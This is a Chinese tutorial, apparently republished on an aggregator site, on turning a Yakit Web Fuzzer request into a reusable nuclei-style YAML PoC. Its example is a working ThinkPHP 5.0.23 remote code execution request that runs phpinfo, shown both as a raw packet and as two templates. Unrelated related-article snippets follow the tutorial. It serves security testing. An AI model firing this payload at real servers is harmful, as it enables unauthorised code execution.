PoC免写攻略

在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

Web Fuzzer 手动验证

构造数据包

先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:

POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。

1699257170_65489b52dc3ce55645bd5.png!small?1699257169513

验证响应-匹配器

除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。

对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHPPHP VersionPHP Extension三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。

在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,

匹配器三种匹配模式:丢弃,保留,仅匹配

  1. 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
  2. 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
  3. 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色

1699257180_65489b5c95df8853b043c.png!small?1699257179494

直接来使用匹配器来匹配上述测试数据包的预期数据:

点击添加匹配器,在页面右下角会弹出匹配器详细设置页面

1699257187_65489b633167ab4d42d9c.png!small?1699257185840

详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系全部响应中匹配三个关键字,在匹配器中即可如下设置。

1699257192_65489b68cc9f74e2a7fcb.png!small?1699257191494

点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:

1699257199_65489b6f17c89dace576d.png!small?1699257198278

至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。

Web Fuzzer 自动导出 PoC

PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。

在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC转到调试 PoC

1699257204_65489b740fac0ee16f508.png!small?1699257202683

PoC****结构

这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。

支持 Raw 和 Path 两种模式,可自由选择

``

// Raw 模式
id: WebFuzzer-Template-UuMDryDUinfo:name: WebFuzzer Template UuMDryDUauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 4a59ba760cdf626429aa3c22ab3dcfa0http:
- raw:- |-@timeout: 30sPOST /index.php?s=captcha HTTP/1.1Host: {{Hostname}}Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and// Path 模式
id: WebFuzzer-Template-oZqWchulinfo:name: WebFuzzer Template oZqWchulauthor: godseverity: lowdescription: write your description herereference:- https://github.com/- https://cve.mitre.org/metadata:max-request: 1shodan-query: ""verified: trueyakit-info:sign: 69a05e9c6fc674153565cbbe1e868464http:
- method: POSTpath:- '{{RootUrl}}index.php'headers:Content-Type: application/x-www-form-urlencodedHost: 172.29.228.154:8080body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1max-redirects: 3matchers-condition: andmatchers:- type: wordwords:- ThinkPHP- PHP Version- PHP Extensioncondition: and

yakit sign

此 Yaml PoC 有一个特殊的字段yakit-info:sign。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…

在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。

在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。

PoC****调试

PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。

1699257221_65489b85629d694878088.png!small?1699257219975

调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。

1699257228_65489b8c4474f09fa2188.png!small?1699257226779

一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出

1699257234_65489b922b398a331cd9f.png!small?1699257232935

经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。

1699257238_65489b963766806b77975.png!small?1699257236954

总结

至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/715352.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue项目电商

这个项目功能有首页,分类,商品详情,购物车,用户注册、登录等等的实现,并且可以在手机上进行展示。 git仓库地址:https://gitee.com/BisShen/project.git

应用层http协议包解析与https加密策略解析

文章目录 一.应用层协议--http协议基础认知二.https协议加密策略解析加密策略1--通信双方只使用对称加密加密策略2--通信双方使用单方非对称加密加密策略3--通信双方都使用非对称加密加密策略4--非对称加密与对称加密配合使用中间人攻击数据签名与CA证书HTTPS数据安全认证的本质…

二维码门楼牌管理系统技术服务的分类与应用

文章目录 前言一、二维码门楼牌管理系统的分类二、二维码门楼牌管理系统的应用优势三、结论 前言 随着城市管理的精细化和智能化,二维码门楼牌管理系统成为了现代城市管理的重要工具。该系统将传统的门牌、楼牌、户牌与二维码技术相结合,实现了信息的快…

如何优化一个运行缓慢的SQL查询?有哪些常见的优化技巧?

如何优化一个运行缓慢的SQL查询? 当面对一个运行缓慢的SQL查询时,优化是提升数据库性能的关键步骤。优化查询不仅可以减少查询执行时间,还可以降低系统资源消耗,提高整体的系统吞吐量。以下将详细探讨如何优化一个运行缓慢的SQL查…

MySQL:常用的SQL语句

提醒:设定下面的语句是在数据库名为 db_book执行的。 一、创建表 1. 创建t_booktype表 USE db_book; CREATE TABLE t_booktype(id INT AUTO_INCREMENT, bookTypeName VARCHAR(20),bookTypeDesc varchar(200),PRIMARY KEY (id) );2. 创建t_book表 USE db_book; C…

[笔记] wsl 禁用配置 win系统环境变量+代理

wsl 配置禁用 win系统环境变量 进入 wsl 的 /etc/wsl.conf 目录,增加以下配置: [interop] enabledfalse appendWindowsPathfalse然后退出wsl,并且执行关闭正在运行的 wsl,执行命令 wsl --shutdown 最后重新进入wsl 即可。 参考…

C语言-----动态内存管理(1)

1.引入 我们之前已经学习了几种开辟内存空间的方式: (1)int a10;开辟4个字节大小的空间 (2)int arr[10]{0}定义数组开辟了一串连续的空间 2.malloc和free (1)malloc开辟内存空间可能会失败,因此需要检查…

HTML5+CSS3+JS小实例:文字阴影还能这么玩

实例:文字阴影还能这么玩 技术栈:HTML+CSS+JS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"…

Android java基础_泛型

一.java泛型是什么 Java 泛型&#xff08;Generic&#xff09;是 Java 5 中引入的一种特性&#xff0c;它允许类、接口和方法在定义时使用一个或多个类型参数&#xff0c;这些类型参数在调用时会被实际类型替换&#xff0c;从而增强了代码的重用性和类型安全性。通过使用泛型&…

鸿蒙Harmony应用开发—ArkTS声明式开发(通用属性:形状裁剪)

用于对组件进行裁剪、遮罩处理。 说明&#xff1a; 从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 clip clip(value: boolean | CircleAttribute | EllipseAttribute | PathAttribute | RectAttribute) 按指定的形状对当…

Spring基础——XML配置Bean的实例化

目录 实例化Bean的方式使用构造函数实例化Bean使用静态工厂的方式实例化Bean使用实例化工厂方式实例化Bean通过实现FactoryBean自定义实例化Bean 实例化Bean的方式 bean的创建本质上就是创建一个或多个具有外部配置属性的对象&#xff0c;容器在启动的时候会查看命名Bean的配置…

中美加密监管突传“巨响”!比特币突破7万信号出现!马斯克一句话掀起大行情!

比特币本周触及64000美元高价&#xff0c;2月交易所储备减少近45000多枚比特币&#xff0c;市场将其解读为看涨70000美元的关键信号。中美加密监管传利好&#xff0c;香港加密牌照申请期限结束&#xff0c;已有24家机构入列待批&#xff0c;美国考虑允许比特币ETF及相关信托期权…

uview2中上传文件和若依前后端分离配合的代码

uview2中的上传文件需要配合着自己后端的上传的代码 uview2 代码&#xff1a; uploadFilePromise(url) {return new Promise((resolve, reject) > {// 后续自己封装let a uni.uploadFile({//自己的请求路径url: that.$baseURL /uploadAvater, //上传的文件filePath: tha…

Java | vscode如何使用命令行运行Java程序

1.在vscode中新建一个终端 2.在终端中输入命令 javac <源文件>此命令执行后&#xff0c;在文件夹中会生成一个与原java程序同名的.class文件。然后输入如下命令&#xff1a; java <源文件名称>这样java程序就运行成功了。&#x1f607;

LeetCode:2368. 受限条件下可到达节点的数目(dfs Java)

目录 2368. 受限条件下可到达节点的数目 题目描述&#xff1a; 实现代码与解析&#xff1a; DFS 原理思路&#xff1a; 2368. 受限条件下可到达节点的数目 题目描述&#xff1a; 现有一棵由 n 个节点组成的无向树&#xff0c;节点编号从 0 到 n - 1 &#xff0c;共有 n - …

02-Vue 计算属性与监听器与VUE-cli使用

1.计算属性 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-width,…

Android java基础_反射

一.反射的基本概念 反射&#xff08;Reflection&#xff09;&#xff0c;Java 中的反射机制是指&#xff0c;Java 程序在运行期间可以获取到一个对象的全部信息。 反射机制一般用来解决Java 程序运行期间&#xff0c;对某个实例对象一无所知的情况下&#xff0c;如何调用该对…

单源最短路的建图方式

1129. 热浪 - AcWing题库 这道题可以有三种方法来做&#xff0c;朴素版的dijkstra、堆优化版的dijkstra和spfa算法 &#xff08;1&#xff09;spfa算法 这里的队列用循环队列&#xff0c;而不是像模板那样用普通队列是因为它的队列长度不确定 import java.util.*;public class…

mysql 大数据量分批添加索引

先在测试环境测试&#xff0c;没问题再上生产环境&#xff0c;避免生产环境数据库负载过多而崩溃 创建存储过程 DELIMITER //CREATE PROCEDURE batch_add_index_to_email() BEGINDECLARE done INT DEFAULT FALSE;DECLARE start_id INT DEFAULT 0;DECLARE end_id INT;DECLARE …

贝叶斯优化CNN分类(matlab代码)

贝叶斯优化CNN分类matlab代码 数据为Excel分类数据集数据。 数据集划分为训练集、验证集、测试集&#xff0c;比例为8:1:1 数据处理: 在数据加载后&#xff0c;对数据进行了划分&#xff0c;包括训练集、验证集和测试集&#xff0c;这有助于评估模型的泛化能力。 数据标准化…